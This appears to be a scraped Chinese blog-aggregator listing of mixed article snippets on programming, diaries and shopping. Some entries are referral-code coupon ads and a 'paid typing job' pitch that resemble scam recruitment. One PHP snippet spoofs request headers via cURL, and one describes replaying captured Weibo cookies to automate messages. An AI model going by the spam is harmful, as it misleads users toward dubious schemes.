<div>聊天室基本功能:1:群发的上下线通知2:服务器显示全部聊天信息,并且可以群发系统消息3:输入Q下线架构:客户端分为两个线程,主线程用来发送信息,子线程用来接收信息。发送的信息包是一个字符数组,包括1byte标识符、10byte用户昵称、128byte消息内容。它和记录ip地址和端口号的结构体共同组成一个结构体变量:structusrmsg。服务器也分为两个线程,主线程用来群发消息,子线程根据接收到</div> </li> <li><a href="/article/1833566946587668480.htm" title="斤斤计较,反而什么都得不到——这就是所谓套路" target="_blank">斤斤计较,反而什么都得不到——这就是所谓套路</a> <span class="text-muted">阿拉丁2</span> <div>昨天好不容易离开连续剧去拼单小蓝杯,以为是10:00结束,没想到9:00结束。当我悠哉游哉喝完了打包回家时,刚过了9:00——所谓的人算不如天算。商业套路,深深。人生套路,重重。应对方法:如果选择PK就要提前做好功课不能拖延到最后贻误战绩;或者,直接就放弃斤斤计较的小小利益。想想为之耗费的时间\经历,也未必值得呢。再如“丰嘲拍卖“也是如此,时间\精力\金钱,以及流量都花了,也未必拍得中,就算拍到了</div> </li> <li><a href="/article/1833565267901378560.htm" title="MineSweeping(c" target="_blank">MineSweeping(c</a> <span class="text-muted">2401_84558091</span> <a class="tag" taget="_blank" href="/search/%E4%BD%9C%E8%80%85%5C%2F/1.htm">作者\/</a><a class="tag" taget="_blank" href="/search/c%E8%AF%AD%E8%A8%80/1.htm">c语言</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a> <div>printf(“*****0.exit*******\n”);printf(“**********************\n”);}voidgame(){charmine[ROWS][COLS]={0};//存放雷的信息charshow[ROWS][COLS]={0};//存放排查出雷的信息//初始化棋盘InitBoard(mine,ROWS,COLS,‘0’);//‘0’InitBoard(s</div> </li> <li><a href="/article/1833564652949303296.htm" title="盘点10大经典国漫电影,国漫剪辑必备" target="_blank">盘点10大经典国漫电影,国漫剪辑必备</a> <span class="text-muted">二两陈</span> <div>国产动漫在近几年来呈崛起之态,越来越多的优秀作品走入了大家的视野,那么你心中最好看的国产动漫电影是哪部呢?今天为大家带来了国漫电影十大巅峰之作,如:大闹天宫、天书奇谭、哪吒闹海、铁扇公主、宝莲灯、哪吒之魔童降世、西游记之大圣归来等,下面一起来看看具体的电影信息。1、大闹天宫|豆瓣9.4伦敦国际电影节最佳影片奖卡罗维发利国际电影节短片特别奖这部作品是万籁鸣先生的呕心沥血之作,一笔一划皆有真情与灵气,</div> </li> <li><a href="/article/1833564637245829120.htm" title="AI:助力开发者翱翔,而非抢夺其舞台" target="_blank">AI:助力开发者翱翔,而非抢夺其舞台</a> <span class="text-muted">中草药z</span> <a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/%E7%A4%BE%E4%BC%9A/1.htm">社会</a><a class="tag" taget="_blank" href="/search/AIGC/1.htm">AIGC</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91/1.htm">开发</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0%E6%96%B9%E6%B3%95/1.htm">学习方法</a> <div>在当今这个科技飞速发展的时代,人工智能(AI)犹如一股春风,悄然渗透进全球各个行业,尤其在软件开发领域,其影响力日益显著。从初创企业到跨国巨头,无一不在积极探索AI如何重塑编程的面貌,引发了一场关于它究竟是开发者的朋友还是潜在对手的热烈讨论。本文将深入探讨AI对软件工程师的影响,揭示其真实角色,以期为业界同仁提供一份全面的视角。️AI:开发者的得力助手AI不是来势汹汹的竞争者,而是软件工程师最可靠</div> </li> <li><a href="/article/1833562987215024128.htm" title="关于拼多多如何查优惠券返利的操作(微信机器人)" target="_blank">关于拼多多如何查优惠券返利的操作(微信机器人)</a> <span class="text-muted">高省APP大九</span> <div>2022年618快到了,淘宝京东拼多多各大平台都开始筹备了,拼多多的拼单购物深得大家的喜欢,拼多多618该怎么抢优惠券呢?1.首先需要下载【高省】APP,——邀请码:800000(安卓、iOS各大应用商店搜索高省)2.打开高省APP,找到拼多多专区3.可以看到海量优惠券及返佣商品,以及商品分区4.点开商品领取优惠券5.系统自动跳转至拼多多下单,下单后佣金到【高省】后台6.每个月25号提现已结算佣金</div> </li> <li><a href="/article/1833562726614528000.htm" title="【日精进打卡第1112天】" target="_blank">【日精进打卡第1112天】</a> <span class="text-muted">于绫</span> <div>晚餐+酸奶姓名:曾于绫|ElingChung【知~学习】✿努力、谦虚、感谢、反省、利他、乐观✿用六项精进表达我们的生活方式∣经典诵读∣⓵《六项精进》大纲1遍,共2657遍⓶《六项精进》通篇0遍,共41遍⓷《大学》1遍,共2657遍【经典名句分享】⓵耳不闻人之非,目不视人之短【阅读】-【行~做到】∣修身∣⓵诵读《六项精进》和《大学》⓶九点前吃早餐⓷早睡早起⓸走2公里路去超市∣齐家∣⓵和爸爸妈妈信息⓶</div> </li> <li><a href="/article/1833561832636379136.htm" title="今日奥运之皮划艇" target="_blank">今日奥运之皮划艇</a> <span class="text-muted">只要一个湫</span> <div>今天上午在家里看了皮划艇静水的几个比赛项目,中国队在男子双人1000米的比赛中夺得了一枚宝贵的银牌。比赛开始中国队两个小伙子率先冲出起点,全程一直保持着领先的地位,结果在最后冲刺的一刹那被古巴队赶超,虽说一块银牌也是及其珍贵的,但毕竟离金牌那么近,那么近,不遗憾真的是假的。皮划艇分皮艇和划艇两个项目。皮艇是运动员坐在艇内,用桨在左右交替划水;而划艇则是运动员单膝跪在艇内,用桨在一侧划水。皮艇起源于</div> </li> <li><a href="/article/1833553811768176640.htm" title="信息流时代的高效阅读3个新思维" target="_blank">信息流时代的高效阅读3个新思维</a> <span class="text-muted">璐璐_鹭</span> <div>01、联机阅读法工作生活快节奏的当下,似乎很难坐下来读一本纸质书,大量的阅读都在线上,纸质书有它存在的必要性,联机阅读也有它的便利性。当我们想要了解某个领域的知识,只要在优质的线上平台搜索,就会有海量的资源供我们参考下载,带着问题寻找答案。02、阅后即焚阅读法相信很多人从网络上保存了很多干货,但是回顾利用的几率几乎是零。不如把关注力放在当下,遇到好的文章,当下就提炼精华,可以通过头脑的加工以自己的</div> </li> <li><a href="/article/1833553794600890368.htm" title="使用yolov8识别+深度相机+机械臂实现垃圾分拣机械臂(代码分享)" target="_blank">使用yolov8识别+深度相机+机械臂实现垃圾分拣机械臂(代码分享)</a> <span class="text-muted">调包侠@</span> <a class="tag" taget="_blank" href="/search/YOLO/1.htm">YOLO</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E7%A0%81%E7%9B%B8%E6%9C%BA/1.htm">数码相机</a><a class="tag" taget="_blank" href="/search/%E6%AF%95%E4%B8%9A%E8%AE%BE%E8%AE%A1/1.htm">毕业设计</a> <div>文章目录垃圾分拣机械臂总体介绍主要功能与特色视频演示文件目录程序主代码完整代码链接垃圾分拣机械臂总体介绍本作品将视觉识别技术部署在嵌入式设备,自动控制机械臂进行分拣任务,在我们的设计中,首先使用深度相机将图像信息发送到嵌入式设备,视觉识别算法进行分类检测,将垃圾分为感染性,损失性,病理性,药物性,化学性,并根据相机的深度值计算出目标的三维坐标,由于系统使用眼在手外的结构,根据手眼标定的结果,将坐标</div> </li> <li><a href="/article/1833552158776193024.htm" title="2019年10月12日吴冰华挑战1000天第47天(生活感悟篇)" target="_blank">2019年10月12日吴冰华挑战1000天第47天(生活感悟篇)</a> <span class="text-muted">242869b198be</span> <div>这一天于我而言如坐过山车,时而天上飞驰而过,时而穿越地底深处!人生无常,生命无价!除了生死,其它都是小事儿.....!昨晚因先生前往广州拜访客户,孩子们给他电话时才晚上十点,他一再交代他要回家,让我们留门。在凌晨两点半时,我醒来发现房间没人,拨通电话对方在睡梦中,放心之余匆匆挂断电话。然那时的我已无法安然入睡,先生凌晨从广州回到工厂时给我发过信息,看着那一条条微信,心里无法平静。先生出社会已有20</div> </li> <li><a href="/article/1833551515202187264.htm" title="京东返利软件叫什么?京东返利app软件推荐" target="_blank">京东返利软件叫什么?京东返利app软件推荐</a> <span class="text-muted">好项目高省</span> <div>怎么拿京东返利:点击去下单拿返利-跳转商城-在京东商城支付下单-下单后5-30分钟-高省APP自动生成订单-订单完成后17日内-返利到账可提现京东返利温馨提示:①非自营商品必须通过【搜索】购买才有返利,当前跳转后仅自营有返利②京东订单拆单后,高省APP依然按照付款订单来返利,不会拆单③Plus会员购买部分品类商品(如米油等)无返利高省APP佣金更高,模式更好,终端用户不流失。【高省】是一个自用省钱</div> </li> <li><a href="/article/1833550748340809728.htm" title="Python27_观察者模式" target="_blank">Python27_观察者模式</a> <span class="text-muted">jxvl假装</span> <div>classObserver(object):"""观察者。个人理解:订阅者,即订阅主题的人"""def__init__(self,name):self.name=namedefupdate(self,msg):print(self.name+"收到信息:"+msg)classSubject(object):#主题类"""订阅者,一些供人订阅的主题"""def__init__(self):self.</div> </li> <li><a href="/article/1833545149804802048.htm" title="拆书—反抗苦于学无所获,变读书为己用" target="_blank">拆书—反抗苦于学无所获,变读书为己用</a> <span class="text-muted">北海道的娃仔</span> <div>面对这个网络发达、信息爆炸的时代,凡受波及之人均手足无措,难以平静思考、无法自由的学习,读书汲取精神食粮竟变成了一大难题。诸如压力与学习的矛盾产生没时间、没精力的念头;而投入学习以后初始就搞错主体导致的看不懂、记不住的苦恼;毫无目的的一头扎进书里,最终看不下去而不了了之造成大量的沉没成本。如此种种,难道读书之路真的变成了死胡同,“秀才不出门,方知天下事”成为奢望、书中“黄金屋”“颜如玉”将被深藏。</div> </li> <li><a href="/article/1833545151188922368.htm" title="2021.2.6作业谈作息和手机" target="_blank">2021.2.6作业谈作息和手机</a> <span class="text-muted">e8ffca06b92e</span> <div>晚上叫儿子谈作息和手机。叫了一段时间才出来。开始爸爸有情绪指责儿子。后来开始说作息,手机,家务。以下是节选。爸爸:手机已经把你害的成这样了,高中连个学籍都没有,我们跪着求人才弄个学籍。儿子:爱弄不弄,谁让你们求人了!(站起来要走人。被叫着停下来了。)爸爸:手机控制你的大脑,都是短暂的快乐,因为当你学习时遇到困难你就想放弃。儿子:你不也是到家看手机,看电视吗?爸爸:我看手机是我当年熬夜奋斗得来的,单</div> </li> <li><a href="/article/1833540058276261888.htm" title="前缀列表(ip-prefix)配置" target="_blank">前缀列表(ip-prefix)配置</a> <span class="text-muted">可惜已不在</span> <a class="tag" taget="_blank" href="/search/%E5%8D%8E%E4%B8%BA/1.htm">华为</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a><a class="tag" taget="_blank" href="/search/%E5%8D%8E%E4%B8%BA/1.htm">华为</a> <div>一.实验简介本来前缀列表是要和访问控制列表放在一起讲的,但是这里单拎出来是为了更详细的讲解两者的区别1.前缀列表针对IP比访问控制更加灵活。2.前缀列表在后面被引用时是无法对数据包进行过滤的实验拓扑二.实验目的R4路由器中只引入子网LoopBack的最后一位为单数的子网实验配置R1:untermosyssysR1intg0/0/0ipadd192.168.12.124qospfrouter-id1</div> </li> <li><a href="/article/1833536256336818176.htm" title="过不抱怨的生活" target="_blank">过不抱怨的生活</a> <span class="text-muted">一只爱哭的猫</span> <div>虞美人说起来,抱怨似乎是每个人下意识的一种反应,特别是在现代社会,生存压力巨大,每天遇到不顺心的事情巨多,不知不觉中抱怨成了生活里的常态:抱怨老板太变态,经常巧立名目让人加班,剥削人的剩余价值,简直比周扒皮还可恶!抱怨男朋友太直男,不懂体贴照顾人,工作太忙,每次的信息不能秒回;就连自己都成了抱怨对象,唉,最近胖成什么样了,怎么面对美食一点自制力都没有,真是糟糕透了!可是抱怨真的可以解决问题吗?并没</div> </li> <li><a href="/article/1833535491140579328.htm" title="外卖红包大额优惠券领取技巧 饿了么优惠券领取" target="_blank">外卖红包大额优惠券领取技巧 饿了么优惠券领取</a> <span class="text-muted">氧惠佣金真的高</span> <div>外卖,真是让人又爱又恨啊!不过,有了这些小技巧,吃外卖也能变得更便宜、更健康。首先,记得关注外卖平台的促销活动,新用户优惠、满减和限时折扣等等,都是让你省钱的好帮手。还有,开通会员也是不错的选择,花15元就能获得5/6张优惠券,是不是很划算呢?氧惠APP(带货领导者)——是与以往完全不同的抖客+淘客app!2023全新模式,我的直推也会放到你下面。主打:带货高补贴,深受各位带货团队长喜爱(每天出单</div> </li> <li><a href="/article/1833535015544254464.htm" title="php做的物资管理系统,基于WEB的物资管理信息系统" target="_blank">php做的物资管理系统,基于WEB的物资管理信息系统</a> <span class="text-muted">weixin_39831705</span> <a class="tag" taget="_blank" href="/search/php%E5%81%9A%E7%9A%84%E7%89%A9%E8%B5%84%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F/1.htm">php做的物资管理系统</a> <div>长期以来,物资管理工作中的信息管理是采用人工的方式,要付出大量人力,填写各种表格、凭证、账册、卡片和文件。由于信息是随着时间不断变化的,各业务部门对信息的使用要求也各不相同,所以要按照不同的分类经常不断地汇总、统计,往往要做许多重复登记和转抄。这种手工操作的管理方式,不仅浪费人力,而且存在许多缺点:1.处理速度慢,影响信息及时性。2.易出现错误,影响信息精确性。3.不便于查询。4.缺乏综合性,不能</div> </li> <li><a href="/article/1833533583831166976.htm" title="2022-4-21晨间日记" target="_blank">2022-4-21晨间日记</a> <span class="text-muted">新源点</span> <div>今天是周四起床:6.40就寝:12.0天气:晴心情:一般纪念日:无任务清单昨日完成的任务,最重要的三件事:健身,日记,练字改进:脾气习惯养成:不错学习·信息·阅读已读完书健康·饮食·锻炼健身40分,饮食正常人际·家人·朋友无工作·思考无最美好的三件事1.做核酸,2.睡觉3.无压力思考·创意·未来休息五天</div> </li> <li><a href="/article/1833531738073165824.htm" title="恢复 iPhone 上误删除笔记的 5 种绝佳方法" target="_blank">恢复 iPhone 上误删除笔记的 5 种绝佳方法</a> <span class="text-muted">分享者花花</span> <a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E6%81%A2%E5%A4%8D/1.htm">数据恢复</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E6%81%A2%E5%A4%8D%E8%BD%AF%E4%BB%B6/1.htm">数据恢复软件</a><a class="tag" taget="_blank" href="/search/%E6%89%8B%E6%9C%BA%E6%95%B0%E6%8D%AE%E6%81%A2%E5%A4%8D/1.htm">手机数据恢复</a><a class="tag" taget="_blank" href="/search/iphone/1.htm">iphone</a><a class="tag" taget="_blank" href="/search/%E7%AC%94%E8%AE%B0/1.htm">笔记</a><a class="tag" taget="_blank" href="/search/ios/1.htm">ios</a><a class="tag" taget="_blank" href="/search/word/1.htm">word</a><a class="tag" taget="_blank" href="/search/android/1.htm">android</a><a class="tag" taget="_blank" href="/search/%E6%99%BA%E8%83%BD%E6%89%8B%E6%9C%BA/1.htm">智能手机</a><a class="tag" taget="_blank" href="/search/%E6%89%8B%E6%9C%BA/1.htm">手机</a> <div>您想知道如何恢复iPhone上误删除的笔记吗?阅读本指南,了解5种简单方法,可直接或通过iTunes/iCloud备份检索iPhone上丢失或删除的笔记。iPhoneNotes应用程序提供了一种方便的方式来记录重要信息,包括文本、图片、链接和许多其他类型的信息。但是,各种原因仍可能导致iPhone数据丢失。“如何在iPhone上恢复丢失的笔记?”幸运的是,这篇文章将向您展示一些有效的解决方案,即使</div> </li> <li><a href="/article/1833531278348087296.htm" title="我玩腾讯微博也有10年了,腾讯微博即将停止运营和服务,我的青春说没就没了" target="_blank">我玩腾讯微博也有10年了,腾讯微博即将停止运营和服务,我的青春说没就没了</a> <span class="text-muted">媒体人蔡林芮</span> <div>据腾讯微博官网2020年9月4日发布官方公告称:由于业务调整,腾讯微博将于2020年9月28日晚23时59分停止服务和运营,届时用户将无法登录,如有需要,可在停止服务前备份自己的相关信息。这件事还顺利上了新浪微博的热搜。据悉,腾讯微博早已停止功能开发,维持基本运营。腾讯微博2020年9月4日发布微博停服公告看到腾讯微博发布这样的公告,让我感到非常的诧异,我以为腾讯微博早就停止运营。回想起腾讯微博的</div> </li> <li><a href="/article/1833530893193539584.htm" title="文字录入的接单app 快递单录入赚钱2.5一单" target="_blank">文字录入的接单app 快递单录入赚钱2.5一单</a> <span class="text-muted">趣闲赚手机做任务赚佣金</span> <div>本文将讨论兼职文字录入员兼职平台,以及文字录入兼职云平台相关信息,希望对各位有所帮助,请不要忘记收藏本站。赚钱打字一单结算app?有兴趣的朋友可以扫码了解我现在做的平台,没有任何费用的啦,是一个非常适合宝妈做的兼职工作,关键提现能秒到账,要钱的话,你可以马上删了我!扫码可以联系我们哦!点击:联系我们知乎Live:知乎Live是知乎提供的在线直播方式,用户可以通过键盘输入回答观众的问题,每次回答都会</div> </li> <li><a href="/article/1833530134200676352.htm" title="2019-07-31" target="_blank">2019-07-31</a> <span class="text-muted">没事儿先生</span> <div>图片发自App图片发自App图片发自App图片发自App一幅古街水彩作品完成算是一幅作业,效果还不错,从造型到明暗关系,学以致用,并且渗透其中。作品总结~造型细节和色彩细节还不会处理,需要多练习用笔方式,在这个过程中,我发现她的色感特别好,这次调色还是不错的,进步很大,期待她能越来越好,暑假最后一节课算是一个完美的ending。继续加油,如8月还要继续上课可以来上黄老师的课哈,16号以后暑假收假可</div> </li> <li><a href="/article/1833525941167550464.htm" title="PHP与出库单打印预览,包含下载与打印功能" target="_blank">PHP与出库单打印预览,包含下载与打印功能</a> <span class="text-muted">assasinSteven</span> <a class="tag" taget="_blank" href="/search/PHP/1.htm">PHP</a><a class="tag" taget="_blank" href="/search/%E6%A1%86%E6%9E%B6/1.htm">框架</a><a class="tag" taget="_blank" href="/search/PHP%E6%89%93%E5%8D%B0%E9%A2%84%E8%A7%88/1.htm">PHP打印预览</a> <div>咱们的开发语言还是用框架:laravel5。应用场景出库单打印出三色单,这个很普遍,以下用PHP来实现出库单的打印预览,主要用到tcpdf插件,整合到laravel项目中。tcpdf插件可以到官网下载最新的版本。我这里用的是最新版本,这里提供下载插件链接:链接:https://pan.baidu.com/s/1Mn8ho_AxyJfWR7YUa0wzhQ提取码:9doa三色单截图:插件截图:开发功</div> </li> <li><a href="/article/1833525562019246080.htm" title="git commit规范化" target="_blank">git commit规范化</a> <span class="text-muted">xm2by</span> <a class="tag" taget="_blank" href="/search/git/1.htm">git</a><a class="tag" taget="_blank" href="/search/commitizen/1.htm">commitizen</a><a class="tag" taget="_blank" href="/search/commitlint/1.htm">commitlint</a><a class="tag" taget="_blank" href="/search/husky/1.htm">husky</a><a class="tag" taget="_blank" href="/search/git/1.htm">git</a><a class="tag" taget="_blank" href="/search/commit%E8%A7%84%E8%8C%83%E5%8C%96/1.htm">commit规范化</a> <div>gitcommit规范化项目中,每次使用git提交代码时都需要填写提交信息,每个人填写提交信息的风格都不一样,为了保持项目中gitcommit一致性,就需要对gitcommit进行规范化处理,规范的gitcommit可以让项目的提交信息整洁明了,也可以让我们通过提交信息可以清晰的知道本次提交的内容,出现问题时也可以更快速的查询问题,如果项目需要生成changelog日志,规范的gitcommit可</div> </li> <li><a href="/article/1833524662039048192.htm" title="两天的一个小结" target="_blank">两天的一个小结</a> <span class="text-muted">deathneverdie</span> <div>感觉出错比较多的:1.题干信息题2.词汇题3.6选24.缩写很夸张--6选2基本没对过emmm主要是读的太慢了一篇20分钟太慢了要控制自己!加速!还有就是信息题,在第二天里我做过一个小结,可以回去看一下缩写体在第二天也有涉及emmm加油期待第三天的成绩</div> </li> <li><a href="/article/1833524553255579648.htm" title="第五章 SqlSession 的创建过程" target="_blank">第五章 SqlSession 的创建过程</a> <span class="text-muted">flying jiang</span> <a class="tag" taget="_blank" href="/search/MyBatis/1.htm">MyBatis</a><a class="tag" taget="_blank" href="/search/3%E6%BA%90%E7%A0%81%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90/1.htm">3源码深度解析</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/tomcat/1.htm">tomcat</a><a class="tag" taget="_blank" href="/search/mybatis/1.htm">mybatis</a> <div>在MyBatis3中,SqlSession的创建过程涉及到对MyBatis配置文件的解析,这通常是通过XPath(XMLPathLanguage)来完成的。XPath是一种在XML文档中查找信息的语言,MyBatis使用它来解析配置文件(如mybatis-config.xml)中的元素和属性。以下是SqlSession创建过程中XPath使用的简要概述:读取配置文件:MyBatis首先需要读取其配</div> </li> <li><a href="/article/1833523542419927040.htm" title="PHP 在cURL中伪造头信息" target="_blank">PHP 在cURL中伪造头信息</a> <span class="text-muted">每天瞎忙的农民工</span> <a class="tag" taget="_blank" href="/search/php/1.htm">php</a><a class="tag" taget="_blank" href="/search/Http/1.htm">Http</a><a class="tag" taget="_blank" href="/search/curl/1.htm">curl</a><a class="tag" taget="_blank" href="/search/php/1.htm">php</a> <div>在cURL中伪造头信息<?php@header('Content-type:text/htmlcharset=utf-8');//第一次初始化$ch=curl_init();curl_setopt($ch,CURLOPT,"http://xxxxx.com");curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);$h=array('HTTP_VIA:HTTP/1.1</div> </li> <li><a href="/article/18.htm" title="jQuery 跨域访问的三种方式 No 'Access-Control-Allow-Origin' header is present on the reque" target="_blank">jQuery 跨域访问的三种方式 No 'Access-Control-Allow-Origin' header is present on the reque</a> <span class="text-muted">qiaolevip</span> <a class="tag" taget="_blank" href="/search/%E6%AF%8F%E5%A4%A9%E8%BF%9B%E6%AD%A5%E4%B8%80%E7%82%B9%E7%82%B9/1.htm">每天进步一点点</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0%E6%B0%B8%E6%97%A0%E6%AD%A2%E5%A2%83/1.htm">学习永无止境</a><a class="tag" taget="_blank" href="/search/%E8%B7%A8%E5%9F%9F/1.htm">跨域</a><a class="tag" taget="_blank" href="/search/%E4%BC%97%E8%A7%82%E5%8D%83%E8%B1%A1/1.htm">众观千象</a> <div>XMLHttpRequest cannot load http://v.xxx.com. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://localhost:63342' is therefore not allowed access. test.html:1 </div> </li> <li><a href="/article/145.htm" title="mysql 分区查询优化" target="_blank">mysql 分区查询优化</a> <span class="text-muted">annan211</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E5%88%86%E5%8C%BA/1.htm">分区</a><a class="tag" taget="_blank" href="/search/%E4%BC%98%E5%8C%96/1.htm">优化</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a> <div> 分区查询优化 引入分区可以给查询带来一定的优势,但同时也会引入一些bug. 分区最大的优点就是优化器可以根据分区函数来过滤掉一些分区,通过分区过滤可以让查询扫描更少的数据。 所以,对于访问分区表来说,很重要的一点是要在where 条件中带入分区,让优化器过滤掉无需访问的分区。 可以通过查看explain执行计划,是否携带 partitions</div> </li> <li><a href="/article/272.htm" title="MYSQL存储过程中使用游标" target="_blank">MYSQL存储过程中使用游标</a> <span class="text-muted">chicony</span> <a class="tag" taget="_blank" href="/search/Mysql%E5%AD%98%E5%82%A8%E8%BF%87%E7%A8%8B/1.htm">Mysql存储过程</a> <div>DELIMITER $$ DROP PROCEDURE IF EXISTS getUserInfo $$ CREATE PROCEDURE getUserInfo(in date_day datetime)--&nbsp;-- 实例-- 存储过程名为:getUserInfo-- 参数为:date_day日期格式:2008-03-08--&nbsp;&nbsp;&nbsp; BEGINdecla</div> </li> <li><a href="/article/399.htm" title="mysql 和 sqlite 区别" target="_blank">mysql 和 sqlite 区别</a> <span class="text-muted">Array_06</span> <a class="tag" taget="_blank" href="/search/sqlite/1.htm">sqlite</a> <div>转载: http://www.cnblogs.com/ygm900/p/3460663.html mysql 和 sqlite 区别 SQLITE是单机数据库。功能简约,小型化,追求最大磁盘效率 MYSQL是完善的服务器数据库。功能全面,综合化,追求最大并发效率 MYSQL、Sybase、Oracle等这些都是试用于服务器数据量大功能多需要安装,例如网站访问量比较大的。而sq</div> </li> <li><a href="/article/526.htm" title="pinyin4j使用" target="_blank">pinyin4j使用</a> <span class="text-muted">oloz</span> <a class="tag" taget="_blank" href="/search/pinyin4j/1.htm">pinyin4j</a> <div>首先需要pinyin4j的jar包支持;jar包已上传至附件内 方法一:把汉字转换为拼音;例如:编程转换后则为biancheng &nbsp;&nbsp;&nbsp;&nbsp; /** * 将汉字转换为全拼 * @param src 你的需要转换的汉字 * @param isUPPERCASE 是否转换为大写的拼音; true:转换为大写;fal</div> </li> <li><a href="/article/653.htm" title="微博发送私信" target="_blank">微博发送私信</a> <span class="text-muted">随意而生</span> <a class="tag" taget="_blank" href="/search/%E5%BE%AE%E5%8D%9A/1.htm">微博</a> <div>在前面文章中说了如和获取登陆时候所需要的cookie,现在只要拿到最后登陆所需要的cookie,然后抓包分析一下微博私信发送界面 http://weibo.com/message/history?uid=****&amp;name=**** 可以发现其发送提交的Post请求和其中的数据, 让后用程序模拟发送POST请求中的数据,带着cookie发送到私信的接入口,就可以实现发私信的功能了。 </div> </li> <li><a href="/article/780.htm" title="jsp" target="_blank">jsp</a> <span class="text-muted">香水浓</span> <a class="tag" taget="_blank" href="/search/jsp/1.htm">jsp</a> <div>JSP初始化 &nbsp;&nbsp;&nbsp; 容器载入JSP文件后,它会在为请求提供任何服务前调用jspInit()方法。如果您需要执行自定义的JSP初始化任务,复写jspInit()方法就行了 JSP执行 &nbsp;&nbsp;&nbsp; 这一阶段描述了JSP生命周期中一切与请求相关的交互行为,直到被销毁。 &nbsp;&nbsp;&nbsp; 当JSP网页完成初始化后</div> </li> <li><a href="/article/907.htm" title="在 Windows 上安装 SVN Subversion 服务端" target="_blank">在 Windows 上安装 SVN Subversion 服务端</a> <span class="text-muted">AdyZhang</span> <a class="tag" taget="_blank" href="/search/SVN/1.htm">SVN</a> <div>在 Windows 上安装 SVN Subversion 服务端2009-09-16高宏伟哈尔滨市道里区通达街291号 &nbsp; 最佳阅读效果请访问原地址:http://blog.donews.com/dukejoe/archive/2009/09/16/1560917.aspx &nbsp; 现在的Subversion已经足够稳定,而且已经进入了它的黄金时段。我们看到大量的项目都在使</div> </li> <li><a href="/article/1034.htm" title="android开发中如何使用 alertDialog从listView中删除数据?" target="_blank">android开发中如何使用 alertDialog从listView中删除数据?</a> <span class="text-muted">aijuans</span> <a class="tag" taget="_blank" href="/search/android/1.htm">android</a> <div>我现在使用listView展示了很多的配置信息,我现在想在点击其中一条的时候填出 alertDialog,点击确认后就删除该条数据,( ArrayAdapter&nbsp;,ArrayList,listView 全部删除),我知道在 下面的onItemLongClick&nbsp;方法中 参数 arg2&nbsp; 是选中的序号,但是我不知道如何继续处理下去 1 2 3 </div> </li> <li><a href="/article/1161.htm" title="jdk-6u26-linux-x64.bin 安装" target="_blank">jdk-6u26-linux-x64.bin 安装</a> <span class="text-muted">baalwolf</span> <a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a> <div>1.上传安装文件(jdk-6u26-linux-x64.bin) 2.修改权限 [root@localhost ~]# ls -l /usr/local/jdk-6u26-linux-x64.bin 3.执行安装文件 [root@localhost ~]# cd /usr/local [root@localhost local]# ./jdk-6u26-linux-x64.bin&nbs</div> </li> <li><a href="/article/1288.htm" title="MongoDB经典面试题集锦" target="_blank">MongoDB经典面试题集锦</a> <span class="text-muted">BigBird2012</span> <a class="tag" taget="_blank" href="/search/mongodb/1.htm">mongodb</a> <div>1.什么是NoSQL数据库?NoSQL和RDBMS有什么区别?在哪些情况下使用和不使用NoSQL数据库? NoSQL是非关系型数据库,NoSQL = Not Only SQL。 关系型数据库采用的结构化的数据,NoSQL采用的是键值对的方式存储数据。 在处理非结构化/半结构化的大数据时;在水平方向上进行扩展时;随时应对动态增加的数据项时可以优先考虑使用NoSQL数据库。 在考虑数据库的成熟</div> </li> <li><a href="/article/1415.htm" title="JavaScript异步编程Promise模式的6个特性" target="_blank">JavaScript异步编程Promise模式的6个特性</a> <span class="text-muted">bijian1013</span> <a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/Promise/1.htm">Promise</a> <div>&nbsp; &nbsp; &nbsp; &nbsp; Promise是一个非常有价值的构造器,能够帮助你避免使用镶套匿名方法,而使用更具有可读性的方式组装异步代码。这里我们将介绍6个最简单的特性。 &nbsp; &nbsp; &nbsp; &nbsp; 在我们开始正式介绍之前,我们想看看Javascript Promise的样子: var p = new Promise(function(r</div> </li> <li><a href="/article/1542.htm" title="[Zookeeper学习笔记之八]Zookeeper源代码分析之Zookeeper.ZKWatchManager" target="_blank">[Zookeeper学习笔记之八]Zookeeper源代码分析之Zookeeper.ZKWatchManager</a> <span class="text-muted">bit1129</span> <a class="tag" taget="_blank" href="/search/zookeeper/1.htm">zookeeper</a> <div>ClientWatchManager接口 //接口的唯一方法materialize用于确定那些Watcher需要被通知 //确定Watcher需要三方面的因素1.事件状态 2.事件类型 3.znode的path public interface ClientWatchManager { /** * Return a set of watchers that should</div> </li> <li><a href="/article/1669.htm" title="【Scala十五】Scala核心九:隐式转换之二" target="_blank">【Scala十五】Scala核心九:隐式转换之二</a> <span class="text-muted">bit1129</span> <a class="tag" taget="_blank" href="/search/scala/1.htm">scala</a> <div>隐式转换存在的必要性, &nbsp; 在Java Swing中,按钮点击事件的处理,转换为Scala的的写法如下: &nbsp; val button = new JButton button.addActionListener( new ActionListener { def actionPerformed(event: ActionEvent) { </div> </li> <li><a href="/article/1796.htm" title="Android JSON数据的解析与封装小Demo" target="_blank">Android JSON数据的解析与封装小Demo</a> <span class="text-muted">ronin47</span> <div>转自:http://www.open-open.com/lib/view/open1420529336406.html package com.example.jsondemo; import org.json.JSONArray; import org.json.JSONException; import org.json.JSONObject; &nbsp;&nbsp; impor</div> </li> <li><a href="/article/1923.htm" title="[设计]字体创意设计方法谈" 